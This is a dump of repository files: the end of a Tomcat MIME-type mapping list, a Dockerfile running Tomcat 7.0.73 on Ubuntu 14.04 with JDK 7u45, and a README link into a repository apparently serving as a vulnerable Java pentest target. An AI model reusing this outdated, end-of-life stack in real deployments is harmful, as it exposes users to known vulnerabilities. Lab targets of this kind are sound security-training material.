4014 | uvf 4015 | application/vnd.dece.data 4016 | 4017 | 4018 | uvg 4019 | image/vnd.dece.graphic 4020 | 4021 | 4022 | uvh 4023 | video/vnd.dece.hd 4024 | 4025 | 4026 | uvi 4027 | image/vnd.dece.graphic 4028 | 4029 | 4030 | uvm 4031 | video/vnd.dece.mobile 4032 | 4033 | 4034 | uvp 4035 | video/vnd.dece.pd 4036 | 4037 | 4038 | uvs 4039 | video/vnd.dece.sd 4040 | 4041 | 4042 | uvt 4043 | application/vnd.dece.ttml+xml 4044 | 4045 | 4046 | uvu 4047 | video/vnd.uvvu.mp4 4048 | 4049 | 4050 | uvv 4051 | video/vnd.dece.video 4052 | 4053 | 4054 | uvva 4055 | audio/vnd.dece.audio 4056 | 4057 | 4058 | uvvd 4059 | application/vnd.dece.data 4060 | 4061 | 4062 | uvvf 4063 | application/vnd.dece.data 4064 | 4065 | 4066 | uvvg 4067 | image/vnd.dece.graphic 4068 | 4069 | 4070 | uvvh 4071 | video/vnd.dece.hd 4072 | 4073 | 4074 | uvvi 4075 | image/vnd.dece.graphic 4076 | 4077 | 4078 | uvvm 4079 | video/vnd.dece.mobile 4080 | 4081 | 4082 | uvvp 4083 | video/vnd.dece.pd 4084 | 4085 | 4086 | uvvs 4087 | video/vnd.dece.sd 4088 | 4089 | 4090 | uvvt 4091 | application/vnd.dece.ttml+xml 4092 | 4093 | 4094 | uvvu 4095 | video/vnd.uvvu.mp4 4096 | 4097 | 4098 | uvvv 4099 | video/vnd.dece.video 4100 | 4101 | 4102 | uvvx 4103 | application/vnd.dece.unspecified 4104 | 4105 | 4106 | uvvz 4107 | application/vnd.dece.zip 4108 | 4109 | 4110 | uvx 4111 | application/vnd.dece.unspecified 4112 | 4113 | 4114 | uvz 4115 | application/vnd.dece.zip 4116 | 4117 | 4118 | vcard 4119 | text/vcard 4120 | 4121 | 4122 | vcd 4123 | application/x-cdlink 4124 | 4125 | 4126 | vcf 4127 | text/x-vcard 4128 | 4129 | 4130 | vcg 4131 | application/vnd.groove-vcard 4132 | 4133 | 4134 | vcs 4135 | text/x-vcalendar 4136 | 4137 | 4138 | vcx 4139 | application/vnd.vcx 4140 | 4141 | 4142 | vis 4143 | application/vnd.visionary 4144 | 4145 | 4146 | viv 4147 | video/vnd.vivo 4148 | 4149 | 4150 | vob 4151 | video/x-ms-vob 4152 | 4153 | 4154 | vor 4155 | application/vnd.stardivision.writer 4156 | 4157 | 4158 | vox 4159 | application/x-authorware-bin 4160 | 4161 | 4162 | vrml 4163 | model/vrml 4164 | 4165 | 4166 | vsd 4167 | application/vnd.visio 4168 | 4169 | 4170 | vsf 4171 | application/vnd.vsf 4172 | 4173 | 4174 | vss 4175 | application/vnd.visio 4176 | 4177 | 4178 | vst 4179 | application/vnd.visio 4180 | 4181 | 4182 | vsw 4183 | application/vnd.visio 4184 | 4185 | 4186 | vtu 4187 | model/vnd.vtu 4188 | 4189 | 4190 | vxml 4191 | application/voicexml+xml 4192 | 4193 | 4194 | w3d 4195 | application/x-director 4196 | 4197 | 4198 | wad 4199 | application/x-doom 4200 | 4201 | 4202 | wav 4203 | audio/x-wav 4204 | 4205 | 4206 | wax 4207 | audio/x-ms-wax 4208 | 4209 | 4210 | 4211 | wbmp 4212 | image/vnd.wap.wbmp 4213 | 4214 | 4215 | wbs 4216 | application/vnd.criticaltools.wbs+xml 4217 | 4218 | 4219 | wbxml 4220 | application/vnd.wap.wbxml 4221 | 4222 | 4223 | wcm 4224 | application/vnd.ms-works 4225 | 4226 | 4227 | wdb 4228 | application/vnd.ms-works 4229 | 4230 | 4231 | wdp 4232 | image/vnd.ms-photo 4233 | 4234 | 4235 | weba 4236 | audio/webm 4237 | 4238 | 4239 | webm 4240 | video/webm 4241 | 4242 | 4243 | webp 4244 | image/webp 4245 | 4246 | 4247 | wg 4248 | application/vnd.pmi.widget 4249 | 4250 | 4251 | wgt 4252 | application/widget 4253 | 4254 | 4255 | wks 4256 | application/vnd.ms-works 4257 | 4258 | 4259 | wm 4260 | video/x-ms-wm 4261 | 4262 | 4263 | wma 4264 | audio/x-ms-wma 4265 | 4266 | 4267 | wmd 4268 | application/x-ms-wmd 4269 | 4270 | 4271 | wmf 4272 | application/x-msmetafile 4273 | 4274 | 4275 | 4276 | wml 4277 | text/vnd.wap.wml 4278 | 4279 | 4280 | 4281 | wmlc 4282 | application/vnd.wap.wmlc 4283 | 4284 | 4285 | 4286 | wmls 4287 | text/vnd.wap.wmlscript 4288 | 4289 | 4290 | 4291 | wmlsc 4292 | application/vnd.wap.wmlscriptc 4293 | 4294 | 4295 | wmv 4296 | video/x-ms-wmv 4297 | 4298 | 4299 | wmx 4300 | video/x-ms-wmx 4301 | 4302 | 4303 | wmz 4304 | application/x-msmetafile 4305 | 4306 | 4307 | woff 4308 | application/x-font-woff 4309 | 4310 | 4311 | wpd 4312 | application/vnd.wordperfect 4313 | 4314 | 4315 | wpl 4316 | application/vnd.ms-wpl 4317 | 4318 | 4319 | wps 4320 | application/vnd.ms-works 4321 | 4322 | 4323 | wqd 4324 | application/vnd.wqd 4325 | 4326 | 4327 | wri 4328 | application/x-mswrite 4329 | 4330 | 4331 | wrl 4332 | model/vrml 4333 | 4334 | 4335 | wsdl 4336 | application/wsdl+xml 4337 | 4338 | 4339 | wspolicy 4340 | application/wspolicy+xml 4341 | 4342 | 4343 | wtb 4344 | application/vnd.webturbo 4345 | 4346 | 4347 | wvx 4348 | video/x-ms-wvx 4349 | 4350 | 4351 | x32 4352 | application/x-authorware-bin 4353 | 4354 | 4355 | x3d 4356 | model/x3d+xml 4357 | 4358 | 4359 | x3db 4360 | model/x3d+binary 4361 | 4362 | 4363 | x3dbz 4364 | model/x3d+binary 4365 | 4366 | 4367 | x3dv 4368 | model/x3d+vrml 4369 | 4370 | 4371 | x3dvz 4372 | model/x3d+vrml 4373 | 4374 | 4375 | x3dz 4376 | model/x3d+xml 4377 | 4378 | 4379 | xaml 4380 | application/xaml+xml 4381 | 4382 | 4383 | xap 4384 | application/x-silverlight-app 4385 | 4386 | 4387 | xar 4388 | application/vnd.xara 4389 | 4390 | 4391 | xbap 4392 | application/x-ms-xbap 4393 | 4394 | 4395 | xbd 4396 | application/vnd.fujixerox.docuworks.binder 4397 | 4398 | 4399 | xbm 4400 | image/x-xbitmap 4401 | 4402 | 4403 | xdf 4404 | application/xcap-diff+xml 4405 | 4406 | 4407 | xdm 4408 | application/vnd.syncml.dm+xml 4409 | 4410 | 4411 | xdp 4412 | application/vnd.adobe.xdp+xml 4413 | 4414 | 4415 | xdssc 4416 | application/dssc+xml 4417 | 4418 | 4419 | xdw 4420 | application/vnd.fujixerox.docuworks 4421 | 4422 | 4423 | xenc 4424 | application/xenc+xml 4425 | 4426 | 4427 | xer 4428 | application/patch-ops-error+xml 4429 | 4430 | 4431 | xfdf 4432 | application/vnd.adobe.xfdf 4433 | 4434 | 4435 | xfdl 4436 | application/vnd.xfdl 4437 | 4438 | 4439 | xht 4440 | application/xhtml+xml 4441 | 4442 | 4443 | xhtml 4444 | application/xhtml+xml 4445 | 4446 | 4447 | xhvml 4448 | application/xv+xml 4449 | 4450 | 4451 | xif 4452 | image/vnd.xiff 4453 | 4454 | 4455 | xla 4456 | application/vnd.ms-excel 4457 | 4458 | 4459 | xlam 4460 | application/vnd.ms-excel.addin.macroenabled.12 4461 | 4462 | 4463 | xlc 4464 | application/vnd.ms-excel 4465 | 4466 | 4467 | xlf 4468 | application/x-xliff+xml 4469 | 4470 | 4471 | xlm 4472 | application/vnd.ms-excel 4473 | 4474 | 4475 | xls 4476 | application/vnd.ms-excel 4477 | 4478 | 4479 | xlsb 4480 | application/vnd.ms-excel.sheet.binary.macroenabled.12 4481 | 4482 | 4483 | xlsm 4484 | application/vnd.ms-excel.sheet.macroenabled.12 4485 | 4486 | 4487 | xlsx 4488 | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet 4489 | 4490 | 4491 | xlt 4492 | application/vnd.ms-excel 4493 | 4494 | 4495 | xltm 4496 | application/vnd.ms-excel.template.macroenabled.12 4497 | 4498 | 4499 | xltx 4500 | application/vnd.openxmlformats-officedocument.spreadsheetml.template 4501 | 4502 | 4503 | xlw 4504 | application/vnd.ms-excel 4505 | 4506 | 4507 | xm 4508 | audio/xm 4509 | 4510 | 4511 | xml 4512 | application/xml 4513 | 4514 | 4515 | xo 4516 | application/vnd.olpc-sugar 4517 | 4518 | 4519 | xop 4520 | application/xop+xml 4521 | 4522 | 4523 | xpi 4524 | application/x-xpinstall 4525 | 4526 | 4527 | xpl 4528 | application/xproc+xml 4529 | 4530 | 4531 | xpm 4532 | image/x-xpixmap 4533 | 4534 | 4535 | xpr 4536 | application/vnd.is-xpr 4537 | 4538 | 4539 | xps 4540 | application/vnd.ms-xpsdocument 4541 | 4542 | 4543 | xpw 4544 | application/vnd.intercon.formnet 4545 | 4546 | 4547 | xpx 4548 | application/vnd.intercon.formnet 4549 | 4550 | 4551 | xsl 4552 | application/xml 4553 | 4554 | 4555 | xslt 4556 | application/xslt+xml 4557 | 4558 | 4559 | xsm 4560 | application/vnd.syncml+xml 4561 | 4562 | 4563 | xspf 4564 | application/xspf+xml 4565 | 4566 | 4567 | xul 4568 | application/vnd.mozilla.xul+xml 4569 | 4570 | 4571 | xvm 4572 | application/xv+xml 4573 | 4574 | 4575 | xvml 4576 | application/xv+xml 4577 | 4578 | 4579 | xwd 4580 | image/x-xwindowdump 4581 | 4582 | 4583 | xyz 4584 | chemical/x-xyz 4585 | 4586 | 4587 | xz 4588 | application/x-xz 4589 | 4590 | 4591 | yang 4592 | application/yang 4593 | 4594 | 4595 | yin 4596 | application/yin+xml 4597 | 4598 | 4599 | z 4600 | application/x-compress 4601 | 4602 | 4603 | Z 4604 | application/x-compress 4605 | 4606 | 4607 | z1 4608 | application/x-zmachine 4609 | 4610 | 4611 | z2 4612 | application/x-zmachine 4613 | 4614 | 4615 | z3 4616 | application/x-zmachine 4617 | 4618 | 4619 | z4 4620 | application/x-zmachine 4621 | 4622 | 4623 | z5 4624 | application/x-zmachine 4625 | 4626 | 4627 | z6 4628 | application/x-zmachine 4629 | 4630 | 4631 | z7 4632 | application/x-zmachine 4633 | 4634 | 4635 | z8 4636 | application/x-zmachine 4637 | 4638 | 4639 | zaz 4640 | application/vnd.zzazz.deck+xml 4641 | 4642 | 4643 | zip 4644 | application/zip 4645 | 4646 | 4647 | zir 4648 | application/vnd.zul 4649 | 4650 | 4651 | zirz 4652 | application/vnd.zul 4653 | 4654 | 4655 | zmm 4656 | application/vnd.handheld-entertainment+xml 4657 | 4658 | 4659 | 4660 | 4661 | 4662 | 4663 | 4664 | 4665 | 4666 | 4667 | 4668 | 4669 | 4670 | 4671 | 4672 | 4673 | 4674 | index.html 4675 | index.htm 4676 | index.jsp 4677 | 4678 | 4679 | 4680 | -------------------------------------------------------------------------------- /tomcat/custom/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:14.04 2 | MAINTAINER pez1420 pez1420@gmail.com 3 | 4 | #http://archive.apache.org/dist/tomcat/ 5 | ADD jdk-7u45-linux-x64.tar.gz /usr/local/ 6 | ADD apache-tomcat-7.0.73.tar.gz /usr/local/ 7 | 8 | ENV JAVA_HOME /usr/local/jdk1.7.0_45 9 | ENV CLASSPATH $JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar 10 | ENV CATALINA_HOME /usr/local/apache-tomcat-7.0.73 11 | ENV CATALINA_BASE /usr/local/apache-tomcat-7.0.73 12 | ENV PATH $PATH:$JAVA_HOME/bin:$CATALINA_HOME/lib:$CATALINA_HOME/bin 13 | 14 | CMD ["/usr/local/apache-tomcat-7.0.73/bin/catalina.sh", "run"] 15 | EXPOSE 8080 -------------------------------------------------------------------------------- /tomcat/custom/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/tomcat/custom/README.md --------------------------------------------------------------------------------